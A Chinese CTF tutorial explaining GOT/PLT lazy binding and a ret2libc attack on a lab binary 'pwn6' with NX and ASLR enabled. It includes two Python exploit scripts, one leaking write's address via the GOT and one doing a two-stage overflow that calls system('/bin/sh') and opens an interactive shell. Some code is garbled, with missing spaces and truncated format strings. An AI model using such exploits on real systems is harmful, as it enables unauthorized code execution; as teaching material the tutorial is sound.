GOT表和PLT表:
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。
延迟绑定:
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序
下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:
bar@plt:
jmp bar@got
patch bar@got
这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。具体来看个实例:
vulnerable_function函数调用了read函数,由于read函数是动态链接加载进来的只有在链接的时候才知道地址,编译时并不知道地址
执行call _read函数会
跳到plt表中寻找中:
plt表中会继续跳入到got表中寻找
got表中的所存的read函数的地址便是在pwn6进程中的实际地址,也就是
信息泄漏的实现
在进行缓冲区溢出攻击的时候,如果我们将EIP跳转到write函数执行,并且在栈上安排和write相关的参数,就可以泄漏指定内存地址上的内容。比如我们可以将某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址。
如果泄漏一个系统调用的内存地址,结合libc.so.6文件,我们就可以推算出其他系统调用(比如system)的地址。
ibc.so.6文件的作用
在一些CTF的PWN题目中,经常可以看到题目除了提供ELF文件之外还提供了一个libc.so.6文件,那么这个额外提供的文件到底有什么用呢?
如果我们可以利用目标程序的漏洞来泄漏某一个函数的地址,那么我们就可以计算出system函数的地址了,当然,被泄露地址的函数必须也定义在libc.so.6中(libc.so.6中通常也存在有/bin/bash或者/bin/sh这个字符串)。
计算system函数地址的基本原理是,在libc.so.6中,各个函数的相对地址是固定的,比如函数A相对于libc.so.6的起始地址为addr_A,函数B相对于libc.so.6的起始地址为addr_B,那么,如果我们能够泄漏进程内存空间中函数A的地址address_A,那么函数B在进程空间中的地址就可以计算出来了,为address_A + addr_B - addr_A
pwn6代码和pwn4,5一样只是export表中已经没有了system函数,而且开启了nx,开启了aslr
思路:
pwn6中已经没有了system函数但是可以查看到例如wirte函数或者read函数的地址,另外由于题目给了libc.so,所以可以查看到write相对libc.so的相对地址,已知write函数的加载到内存的地址,通过write函数和sysytem函数在libc.so中的偏移可以计算出sysytem在pwn6程序中的地址,从而达到getshell。
首先利用漏洞程序泄露write函数在pwn6中的地址,通过ida交叉引用发现两处被调用
根据上面介绍延迟绑定时的分析,由于linux开启了aslr,libc每次加载的地址不一样,所以每次加载write函数在进程中的地址也不一样,但是aslr没有影响到.text段,所以通过got表write函数的地址每次加载便可以找到write在进程中地址。根据此我们可以得出利用wirte函数泄露write函数在进程中地址的栈攻击模型:
泄露leakpython代码:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
importsocket
importstruct
def P32(val):
"""将32位数据转换成字符串(小端模式)"""
return struct.pack(",val)
def UP32(s):
"""将字符串还原为32位数据(小端模式)"""
return struct.unpack(",s)[0]
def leak_info():
#创建socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接远程服务器
s.connect(("10.1.1.101",9993))
#构造payload数据
payload='A'*140+P32(0x080483A0)+'A'*4+P32(1)+P32(0x0804A010)+P32(4)
#发送payload数据
s.sendall(payload+'\n')
#接收write函数地址(信息泄漏)
write_addr=UP32(s.recv(4))
#打印write函数地址
print"write() address: 0x%08X"%write_addr
if__name__=="__main__":
leak_info()
我们已经能够泄漏write函数的地址了,这样我们就可以计算出system函数以及/bin/sh字符串的地址。在libc.so.6中,system函数的地址为0x0003AF70,/bin/sh字符串的地址为0x001566A4,write函数的地址为0x000D2850。
假设实际上write函数的地址为write_addr,system函数的地址为system_addr,/bin/sh字符串的地址为binsh_addr,那么下面的等式成立:
write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4
现在面临的问题是,每次通过leak_info.py获取到的write_addr是变化的,这是因为每次启动进程后write函数的实际地址也是变化的,所以我们需要把信息泄漏和获取服务器控制权限在一次网络连接中完成,这该如何实现呢?
借助于两次缓冲区溢出即可完成这一过程。第一次缓冲区溢出泄漏write的地址之后,我们让EIP再次跳转到vulnerable_function来执行,这样就可以接着进行第二次缓冲区溢出的过程,此时执行system("/bin/sh")即可,如下图所示:
构造payload:
importsocket
importstruct
importtelnetlib
defP32(val):
"""将32位数据转换成字符串(小端模式)"""
returnstruct.pack(",val)
defUP32(s):
"""将字符串还原为32位数据(小端模式)"""
returnstruct.unpack(",s)[0]
defpwn_server():
#创建socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接远程服务器
s.connect(("10.1.1.101",9993))
# vulnerable_function函数的地址
vuln_addr=P32(0x08048474)
#构造payload数据
payload='A'*140+P32(0x080483A0)+vuln_addr+P32(1)+P32(0x0804A010)+P32(4)
#发送payload数据
s.sendall(payload+'\n')
#接收write函数地址(信息泄漏)
write_addr=UP32(s.recv(4))
#根据公式以及write函数地址计算system函数以及参数的地址
# write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4
system_addr=P32(write_addr-0x000D2850+0x0003AF70)
binsh_addr=P32(write_addr-0x000D2850+0x001566A4)
#构造第二阶段的payload数据
payload='A'*140+system_addr+'A'*4+binsh_addr
#发送payload数据
s.sendall(payload+'\n')
#创建telnet获取shell
t=telnetlib.Telnet()
t.sock=s
t.interact()
if__name__=="__main__":
pwn_server()